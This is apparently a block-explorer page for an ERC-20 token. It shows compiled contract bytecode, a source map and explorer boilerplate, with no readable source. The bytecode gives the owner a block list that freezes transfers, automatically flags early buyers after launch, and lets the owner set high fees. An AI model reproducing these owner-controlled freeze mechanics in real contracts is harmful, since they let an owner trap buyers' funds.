00160a01b031633146108b55760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146109035760405162461bcd60e51b815260040161073b906113ce565b6010805460ff19811660ff91821615908117909255161561092357436011555b565b6000546001600160a01b0316331461094f5760405162461bcd60e51b815260040161073b906113ce565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b0316331461099b5760405162461bcd60e51b815260040161073b906113ce565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b03163314610a0f5760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b03163314610a645760405162461bcd60e51b815260040161073b906113ce565b600d81905560198111156107855760405162461bcd60e51b81526020600482015260086024820152670e8dede40d0d2ced60c31b604482015260640161073b565b606060058054610678906114da565b6000610708338484610c33565b6000546001600160a01b03163314610aeb5760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b03163314610b365760405162461bcd60e51b815260040161073b906113ce565b6001600160a01b038116610b775760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b604482015260640161073b565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610c8f5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b604482015260640161073b565b60135460ff1615610cdc5743601254601154610cab919061146a565b1015610cd7576001600160a01b0384166000908152600f602052604090205460ff1615610cd757600080fd5b610d02565b6001600160a01b0384166000908152600f602052604090205460ff1615610d0257600080fd5b6001600160a01b0383166000908152600a6020526040812054819060ff168015610d2f5750600b5460ff16155b8015610d5457506001600160a01b03861660009081526007602052604090205460ff16155b8015610d7957506001600160a01b03851660009081526007602052604090205460ff16155b15610db357306000908152600160205260409020548015610db15784818111610da25780610da4565b815b9050610daf81610ee4565b505b505b6001600160a01b03861660009081526007602052604090205460ff16158015610df557506001600160a01b03851660009081526007602052604090205460ff16155b8015610e045750600b5460ff16155b15610eaa5760105460ff16610e465760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b604482015260640161073b565b6001600160a01b0386166000908152600a602052604090205460ff168015610e7c5750601254601154610e79919061146a565b43105b15610ea5576001600160a01b0385166000908152600f60205260409020805460ff191660011790555b600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610ecf575060015b610edc8686868585611083565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610f2657610f2661152b565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b158015610f7a57600080fd5b505afa158015610f8e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb2919061124d565b81600181518110610fc557610fc561152b565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac9479261101192879260009288929091169042906004016113f9565b600060405180830381600087803b15801561102b57600080fd5b505af192505050801561103c575060015b61107557604051600081527fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f169060200160405180910390a15b5050600b805460ff19169055565b6001600160a01b0385166000908152600160205260409020546110a79084906114c3565b6001600160a01b038616600090815260016020526040812091909155821561118457600082156110da5750600d546110df565b50600c545b600060646110ed83886114a4565b6110f79190611482565b9050801561118157611109818461146a565b3060009081526001602052604090205490935061112790829061146a565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906111789085815260200190565b60405180910390a35b50505b61118e81856114c3565b6001600160a01b0386166000908152600160205260409020546111b1919061146a565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111fb84886114c3565b60405190815260200160405180910390a3505050505050565b8035801515811461122457600080fd5b919050565b60006020828403121561123b57600080fd5b813561124681611541565b9392505050565b60006020828403121561125f57600080fd5b815161124681611541565b6000806040838503121561127d57600080fd5b823561128881611541565b9150602083013561129881611541565b809150509250929050565b6000806000606084860312156112b857600080fd5b83356112c381611541565b925060208401356112d381611541565b929592945050506040919091013590565b600080604083850312156112f757600080fd5b823561130281611541565b915061131060208401611214565b90509250929050565b6000806040838503121561132c57600080fd5b823561133781611541565b946020939093013593505050565b60006020828403121561135757600080fd5b61124682611214565b60006020828403121561137257600080fd5b5035919050565b600060208083528351808285015260005b818110156113a65785810183015185820160400152820161138a565b818111156113b8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114495784516001600160a01b031683529383019391830191600101611424565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561147d5761147d611515565b500190565b60008261149f57634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156114be576114be611515565b500290565b6000828210156114d5576114d5611515565b500390565b600181811c908216806114ee57607f821691505b6020821081141561150f57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b6001600160a01b038116811461078557600080fdfea264697066735822122077d9928334dd5f0a09d94ac4190e407df82529dc30780259b112cb3c1eeb7e9264736f6c63430008070033

Deployed Bytecode Sourcemap

2293:7556:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4382:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5145:159;;;;;;;;;;-1:-1:-1;5145:159:0;;;;;:::i;:::-;;:::i;:::-;;;2924:14:1;;2917:22;2899:41;;2887:2;2872:18;5145:159:0;2759:187:1;5656:146:0;;;;;;;;;;-1:-1:-1;5656:146:0;;;;;:::i;:::-;;:::i;:::-;;4586:100;;;;;;;;;;-1:-1:-1;4666:12:0;;4586:100;;;5827:25:1;;;5815:2;5800:18;4586:100:0;5681:177:1;6448:19:0;;;;;;;;;;;;;;;;6476:81;;;;;;;;;;-1:-1:-1;6476:81:0;;;;;:::i;:::-;;:::i;5312:336::-;;;;;;;;;;-1:-1:-1;5312:336:0;;;;;:::i;:::-;;:::i;4484:94::-;;;;;;;;;;-1:-1:-1;4561:9:0;;4484:94;;4561:9;;;;3333:36:1;;3321:2;3306:18;4484:94:0;3181:194:1;2585:49:0;;;;;;;;;;-1:-1:-1;2585:49:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2896:31;;;;;;;;;;;;;;;;6751:92;;;;;;;;;;-1:-1:-1;6751:92:0;;;;;:::i;:::-;;:::i;2729:44::-;;;;;;;;;;-1:-1:-1;2729:44:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;6199:91;;;;;;;;;;-1:-1:-1;6199:91:0;;;;;:::i;:::-;;:::i;6716:28::-;;;;;;;;;;-1:-1:-1;6716:28:0;;;;;;;;6152:40;;;;;;;;;;-1:-1:-1;6152:40:0;;;;;:::i;:::-;;;;;;;;;;;;;;;;2936:27;;;;;;;;;;-1:-1:-1;2936:27:0;;;;-1:-1:-1;;;;;2936:27:0;;;;;;-1:-1:-1;;;;;2715:32:1;;;2697:51;;2685:2;2670:18;2936:27:0;2551:203:1;2684:36:0;;;;;;;;;;-1:-1:-1;2684:36:0;;;;-1:-1:-1;;;;;2684:36:0;;;6565:143;;;;;;;;;;;;;:::i;4174:94::-;;;;;;;;;;-1:-1:-1;4174:94:0;;;;;:::i;:::-;;:::i;4694:119::-;;;;;;;;;;-1:-1:-1;4694:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;4787:18:0;4760:7;4787:18;;;:9;:18;;;;;;;4694:119;1916:148;;;;;;;;;;;;;:::i;9681:128::-;;;;;;;;;;-1:-1:-1;9681:128:0;;;;;:::i;:::-;;:::i;5810:149::-;;;;;;;;;;-1:-1:-1;5810:149:0;;;;;:::i;:::-;;:::i;1719:79::-;;;;;;;;;;-1:-1:-1;1757:7:0;1784:6;-1:-1:-1;;;;;1784:6:0;1719:79;;4276:98;;;;;;;;;;;;;:::i;4821:165::-;;;;;;;;;;-1:-1:-1;4821:165:0;;;;;:::i;:::-;;:::i;6424:17::-;;;;;;;;;;;;;;;;6298:92;;;;;;;;;;-1:-1:-1;6298:92:0;;;;;:::i;:::-;;:::i;2859:30::-;;;;;;;;;;;;;;;;4994:143;;;;;;;;;;-1:-1:-1;4994:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;5102:18:0;;;5075:7;5102:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;4994:143;2462:26;;;;;;;;;;-1:-1:-1;2462:26:0;;;;-1:-1:-1;;;;;2462:26:0;;;6398:19;;;;;;;;;;-1:-1:-1;6398:19:0;;;;;;;;2072:214;;;;;;;;;;-1:-1:-1;2072:214:0;;;;;:::i;:::-;;:::i;4382:94::-;4430:13;4463:5;4456:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4382:94;:::o;5145:159::-;5220:4;5237:37;5246:10;5258:7;5267:6;5237:8;:37::i;:::-;-1:-1:-1;5292:4:0;5145:159;;;;:::o;5656:146::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;;;;;;;;;5722:11:::1;:24:::0;;;5780:2:::1;5765:17:::0;::::1;;5757:37;;;::::0;-1:-1:-1;;;5757:37:0;;4865:2:1;5757:37:0::1;::::0;::::1;4847:21:1::0;4904:1;4884:18;;;4877:29;-1:-1:-1;;;4922:18:1;;;4915:38;4970:18;;5757:37:0::1;4663:331:1::0;5757:37:0::1;5656:146:::0;:::o;6476:81::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;6536:2:::1;:13:::0;6476:81::o;5312:336::-;5410:4;5427:36;5437:6;5445:9;5456:6;5427:9;:36::i;:::-;-1:-1:-1;;;;;5478:19:0;;2848:1;5478:19;;;:11;:19;;;;;;;;5498:10;5478:31;;;;;;;;-1:-1:-1;;5478:38:0;5474:145;;-1:-1:-1;;;;;5567:19:0;;;;;;:11;:19;;;;;;;;5587:10;5567:31;;;;;;;;:40;;5601:6;;5567:40;:::i;:::-;-1:-1:-1;;;;;5533:19:0;;;;;;:11;:19;;;;;;;;5553:10;5533:31;;;;;;;:74;5474:145;-1:-1:-1;5636:4:0;5312:336;;;;;:::o;6751:92::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;6815:9:::1;:20:::0;;-1:-1:-1;;6815:20:0::1;::::0;::::1;;::::0;;;::::1;::::0;;6751:92::o;6199:91::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6258:17:0::1;;::::0;;;:8:::1;:17;::::0;;;;:24;;-1:-1:-1;;6258:24:0::1;6278:4;6258:24;::::0;;6199:91::o;6565:143::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;6627:7:::1;::::0;;-1:-1:-1;;6616:18:0;::::1;6627:7;::::0;;::::1;6626:8;6616:18:::0;;::::1;::::0;;;6649:7;6645:56:::1;;;6677:12;6672:2;:17:::0;6645:56:::1;6565:143::o:0;4174:94::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;4239:11:::1;:21:::0;;-1:-1:-1;;;;;;4239:21:0::1;-1:-1:-1::0;;;;;4239:21:0;;;::::1;::::0;;;::::1;::::0;;4174:94::o;1916:148::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;2023:1:::1;2007:6:::0;;1986:40:::1;::::0;-1:-1:-1;;;;;2007:6:0;;::::1;::::0;1986:40:::1;::::0;2023:1;;1986:40:::1;2054:1;2037:19:::0;;-1:-1:-1;;;;;;2037:19:0::1;::::0;;1916:148::o;9681:128::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;9767:26:0;;;::::1;;::::0;;;:17:::1;:26;::::0;;;;:34;;-1:-1:-1;;9767:34:0::1;::::0;::::1;;::::0;;;::::1;::::0;;9681:128::o;5810:149::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;5877:12:::1;:25:::0;;;5937:2:::1;5921:18:::0;::::1;;5913:38;;;::::0;-1:-1:-1;;;5913:38:0;;4865:2:1;5913:38:0::1;::::0;::::1;4847:21:1::0;4904:1;4884:18;;;4877:29;-1:-1:-1;;;4922:18:1;;;4915:38;4970:18;;5913:38:0::1;4663:331:1::0;4276:98:0;4326:13;4359:7;4352:14;;;;;:::i;4821:165::-;4899:4;4916:40;4926:10;4938:9;4949:6;4916:9;:40::i;6298:92::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;6357:17:0::1;6377:5;6357:17:::0;;;:8:::1;:17;::::0;;;;:25;;-1:-1:-1;;6357:25:0::1;::::0;;6298:92::o;2072:214::-;1846:6;;-1:-1:-1;;;;;1846:6:0;1856:10;1846:20;1838:50;;;;-1:-1:-1;;;1838:50:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;2161:22:0;::::1;2153:43;;;::::0;-1:-1:-1;;;2153:43:0;;5201:2:1;2153:43:0::1;::::0;::::1;5183:21:1::0;5240:1;5220:18;;;5213:29;-1:-1:-1;;;5258:18:1;;;5251:38;5306:18;;2153:43:0::1;4999:331:1::0;2153:43:0::1;2233:6;::::0;;2212:38:::1;::::0;-1:-1:-1;;;;;2212:38:0;;::::1;::::0;2233:6;::::1;::::0;2212:38:::1;::::0;::::1;2261:6;:17:::0;;-1:-1:-1;;;;;;2261:17:0::1;-1:-1:-1::0;;;;;2261:17:0;;;::::1;::::0;;;::::1;::::0;;2072:214::o;5967:177::-;-1:-1:-1;;;;;6052:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6104:32;;5827:25:1;;;6104:32:0;;5800:18:1;6104:32:0;;;;;;;5967:177;;;:::o;6851:1390::-;-1:-1:-1;;;;;4787:18:0;;6965:15;4787:18;;;:9;:18;;;;;;7017:17;;;;7009:46;;;;-1:-1:-1;;;7009:46:0;;4520:2:1;7009:46:0;;;4502:21:1;4559:2;4539:18;;;4532:30;-1:-1:-1;;;4578:18:1;;;4571:46;4634:18;;7009:46:0;4318:340:1;7009:46:0;7072:9;;;;7068:181;;;7111:12;7106:2;;7101;;:7;;;;:::i;:::-;:22;7097:86;;;-1:-1:-1;;;;;7152:14:0;;;;;;:8;:14;;;;;;;;7151:15;7143:24;;;;;;7068:181;;;-1:-1:-1;;;;;7222:14:0;;;;;;:8;:14;;;;;;;;7221:15;7213:24;;;;;;-1:-1:-1;;;;;7314:16:0;;7261:12;7314:16;;;:12;:16;;;;;;7261:12;;7314:16;;:27;;;;-1:-1:-1;7335:6:0;;;;7334:7;7314:27;:55;;;;-1:-1:-1;;;;;;7346:23:0;;;;;;:17;:23;;;;;;;;7345:24;7314:55;:81;;;;-1:-1:-1;;;;;;7374:21:0;;;;;;:17;:21;;;;;;;;7373:22;7314:81;7310:527;;;7461:4;7412:28;4787:18;;;:9;:18;;;;;;7486:24;;7482:344;;7561:6;7608:42;;;:147;;7736:19;7608:147;;;7715:20;7608:147;7586:169;;7774:36;7790:19;7774:15;:36::i;:::-;7512:314;7482:344;7397:440;7310:527;-1:-1:-1;;;;;7854:23:0;;;;;;:17;:23;;;;;;;;7853:24;:50;;;;-1:-1:-1;;;;;;7882:21:0;;;;;;:17;:21;;;;;;;;7881:22;7853:50;:61;;;;-1:-1:-1;7908:6:0;;;;7907:7;7853:61;7849:267;;;7939:7;;;;7931:27;;;;-1:-1:-1;;;7931:27:0;;4184:2:1;7931:27:0;;;4166:21:1;4223:1;4203:18;;;4196:29;-1:-1:-1;;;4241:18:1;;;4234:38;4289:18;;7931:27:0;3982:331:1;7931:27:0;-1:-1:-1;;;;;7977:18:0;;;;;;:12;:18;;;;;;;;:44;;;;;8019:2;;8014;;:7;;;;:::i;:::-;7999:12;:22;7977:44;7973:103;;;-1:-1:-1;;;;;8041:12:0;;;;;;:8;:12;;;;;:19;;-1:-1:-1;;8041:19:0;8056:4;8041:19;;;7973:103;8100:4;8090:14;;7849:267;-1:-1:-1;;;;;8132:16:0;;;;;;:12;:16;;;;;;;;8128:42;;;-1:-1:-1;8163:4:0;8128:42;8182:51;8197:4;8203:2;8207:6;8215:7;8224:8;8182:14;:51::i;:::-;6954:1287;;;6851:1390;;;:::o;9221:452::-;3004:6;:13;;-1:-1:-1;;3004:13:0;3013:4;3004:13;;;9322:16:::1;::::0;;9336:1:::1;9322:16:::0;;;;;::::1;::::0;;-1:-1:-1;;9322:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;9322:16:0::1;9298:40;;9367:4;9349;9354:1;9349:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9349:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;9393:14:::1;::::0;:21:::1;::::0;;-1:-1:-1;;;9393:21:0;;;;:14;;;::::1;::::0;:19:::1;::::0;:21:::1;::::0;;::::1;::::0;9349:7;;9393:21;;;;;:14;:21;::::1;;::::0;::::1;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9383:4;9388:1;9383:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;9383:31:0;;::::1;:7;::::0;;::::1;::::0;;;;;:31;9429:14:::1;::::0;9578:11:::1;::::0;9429:202:::1;::::0;-1:-1:-1;;;9429:202:0;;:14;;::::1;::::0;:65:::1;::::0;:202:::1;::::0;9509:11;;9429:14:::1;::::0;9551:4;;9578:11;;::::1;::::0;9605:15:::1;::::0;9429:202:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;9425:239;;9648:13;::::0;9659:1:::1;3333:36:1::0;;9648:13:0::1;::::0;3321:2:1;3306:18;9648:13:0::1;;;;;;;9425:239;-1:-1:-1::0;;3040:6:0;:14;;-1:-1:-1;;3040:14:0;;;9221:452::o;8249:932::-;-1:-1:-1;;;;;8445:17:0;;;;;;:9;:17;;;;;;:27;;8465:7;;8445:27;:::i;:::-;-1:-1:-1;;;;;8425:17:0;;;;;;:9;:17;;;;;:47;;;;8513:515;;;;8555:14;8590:8;8586:131;;;-1:-1:-1;8628:12:0;;8586:131;;;-1:-1:-1;8690:11:0;;8586:131;8731:18;8771:3;8752:16;8762:6;8752:7;:16;:::i;:::-;:22;;;;:::i;:::-;8731:43;-1:-1:-1;8793:14:0;;8789:228;;8828:23;8841:10;8828:23;;:::i;:::-;8915:4;8897:24;;;;:9;:24;;;;;;8828:23;;-1:-1:-1;8897:37:0;;8924:10;;8897:37;:::i;:::-;8888:4;8870:24;;;;:9;:24;;;;;;;:64;;;;8958:43;;-1:-1:-1;;;;;8958:43:0;;;;;;;8990:10;5827:25:1;;5815:2;5800:18;;5681:177;8958:43:0;;;;;;;;8789:228;8526:502;;8513:515;9087:19;9097:9;9087:7;:19;:::i;:::-;-1:-1:-1;;;;;9063:20:0;;;;;;:9;:20;;;;;;:44;;;;:::i;:::-;-1:-1:-1;;;;;9040:20:0;;;;;;;:9;:20;;;;;:67;;;;9123:48;;;9151:19;9161:9;9151:7;:19;:::i;:::-;9123:48;;5827:25:1;;;5815:2;5800:18;9123:48:0;;;;;;;8414:767;8249:932;;;;;:::o;14:160:1:-;79:20;;135:13;;128:21;118:32;;108:60;;164:1;161;154:12;108:60;14:160;;;:::o;179:247::-;238:6;291:2;279:9;270:7;266:23;262:32;259:52;;;307:1;304;297:12;259:52;346:9;333:23;365:31;390:5;365:31;:::i;:::-;415:5;179:247;-1:-1:-1;;;179:247:1:o;431:251::-;501:6;554:2;542:9;533:7;529:23;525:32;522:52;;;570:1;567;560:12;522:52;602:9;596:16;621:31;646:5;621:31;:::i;687:388::-;755:6;763;816:2;804:9;795:7;791:23;787:32;784:52;;;832:1;829;822:12;784:52;871:9;858:23;890:31;915:5;890:31;:::i;:::-;940:5;-1:-1:-1;997:2:1;982:18;;969:32;1010:33;969:32;1010:33;:::i;:::-;1062:7;1052:17;;;687:388;;;;;:::o;1080:456::-;1157:6;1165;1173;1226:2;1214:9;1205:7;1201:23;1197:32;1194:52;;;1242:1;1239;1232:12;1194:52;1281:9;1268:23;1300:31;1325:5;1300:31;:::i;:::-;1350:5;-1:-1:-1;1407:2:1;1392:18;;1379:32;1420:33;1379:32;1420:33;:::i;:::-;1080:456;;1472:7;;-1:-1:-1;;;1526:2:1;1511:18;;;;1498:32;;1080:456::o;1541:315::-;1606:6;1614;1667:2;1655:9;1646:7;1642:23;1638:32;1635:52;;;1683:1;1680;1673:12;1635:52;1722:9;1709:23;1741:31;1766:5;1741:31;:::i;:::-;1791:5;-1:-1:-1;1815:35:1;1846:2;1831:18;;1815:35;:::i;:::-;1805:45;;1541:315;;;;;:::o;1861:::-;1929:6;1937;1990:2;1978:9;1969:7;1965:23;1961:32;1958:52;;;2006:1;2003;1996:12;1958:52;2045:9;2032:23;2064:31;2089:5;2064:31;:::i;:::-;2114:5;2166:2;2151:18;;;;2138:32;;-1:-1:-1;;;1861:315:1:o;2181:180::-;2237:6;2290:2;2278:9;2269:7;2265:23;2261:32;2258:52;;;2306:1;2303;2296:12;2258:52;2329:26;2345:9;2329:26;:::i;2366:180::-;2425:6;2478:2;2466:9;2457:7;2453:23;2449:32;2446:52;;;2494:1;2491;2484:12;2446:52;-1:-1:-1;2517:23:1;;2366:180;-1:-1:-1;2366:180:1:o;3380:597::-;3492:4;3521:2;3550;3539:9;3532:21;3582:6;3576:13;3625:6;3620:2;3609:9;3605:18;3598:34;3650:1;3660:140;3674:6;3671:1;3668:13;3660:140;;;3769:14;;;3765:23;;3759:30;3735:17;;;3754:2;3731:26;3724:66;3689:10;;3660:140;;;3818:6;3815:1;3812:13;3809:91;;;3888:1;3883:2;3874:6;3863:9;3859:22;3855:31;3848:42;3809:91;-1:-1:-1;3961:2:1;3940:15;-1:-1:-1;;3936:29:1;3921:45;;;;3968:2;3917:54;;3380:597;-1:-1:-1;;;3380:597:1:o;5335:341::-;5537:2;5519:21;;;5576:2;5556:18;;;5549:30;-1:-1:-1;;;5610:2:1;5595:18;;5588:47;5667:2;5652:18;;5335:341::o;5863:980::-;6125:4;6173:3;6162:9;6158:19;6204:6;6193:9;6186:25;6230:2;6268:6;6263:2;6252:9;6248:18;6241:34;6311:3;6306:2;6295:9;6291:18;6284:31;6335:6;6370;6364:13;6401:6;6393;6386:22;6439:3;6428:9;6424:19;6417:26;;6478:2;6470:6;6466:15;6452:29;;6499:1;6509:195;6523:6;6520:1;6517:13;6509:195;;;6588:13;;-1:-1:-1;;;;;6584:39:1;6572:52;;6679:15;;;;6644:12;;;;6620:1;6538:9;6509:195;;;-1:-1:-1;;;;;;;6760:32:1;;;;6755:2;6740:18;;6733:60;-1:-1:-1;;;6824:3:1;6809:19;6802:35;6721:3;5863:980;-1:-1:-1;;;5863:980:1:o;7037:128::-;7077:3;7108:1;7104:6;7101:1;7098:13;7095:39;;;7114:18;;:::i;:::-;-1:-1:-1;7150:9:1;;7037:128::o;7170:217::-;7210:1;7236;7226:132;;7280:10;7275:3;7271:20;7268:1;7261:31;7315:4;7312:1;7305:15;7343:4;7340:1;7333:15;7226:132;-1:-1:-1;7372:9:1;;7170:217::o;7392:168::-;7432:7;7498:1;7494;7490:6;7486:14;7483:1;7480:21;7475:1;7468:9;7461:17;7457:45;7454:71;;;7505:18;;:::i;:::-;-1:-1:-1;7545:9:1;;7392:168::o;7565:125::-;7605:4;7633:1;7630;7627:8;7624:34;;;7638:18;;:::i;:::-;-1:-1:-1;7675:9:1;;7565:125::o;7695:380::-;7774:1;7770:12;;;;7817;;;7838:61;;7892:4;7884:6;7880:17;7870:27;;7838:61;7945:2;7937:6;7934:14;7914:18;7911:38;7908:161;;;7991:10;7986:3;7982:20;7979:1;7972:31;8026:4;8023:1;8016:15;8054:4;8051:1;8044:15;7908:161;;7695:380;;;:::o;8080:127::-;8141:10;8136:3;8132:20;8129:1;8122:31;8172:4;8169:1;8162:15;8196:4;8193:1;8186:15;8212:127;8273:10;8268:3;8264:20;8261:1;8254:31;8304:4;8301:1;8294:15;8328:4;8325:1;8318:15;8476:131;-1:-1:-1;;;;;8551:31:1;;8541:42;;8531:70;;8597:1;8594;8587:12

Swarm Source

ipfs://77d9928334dd5f0a09d94ac4190e407df82529dc30780259b112cb3c1eeb7e92
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.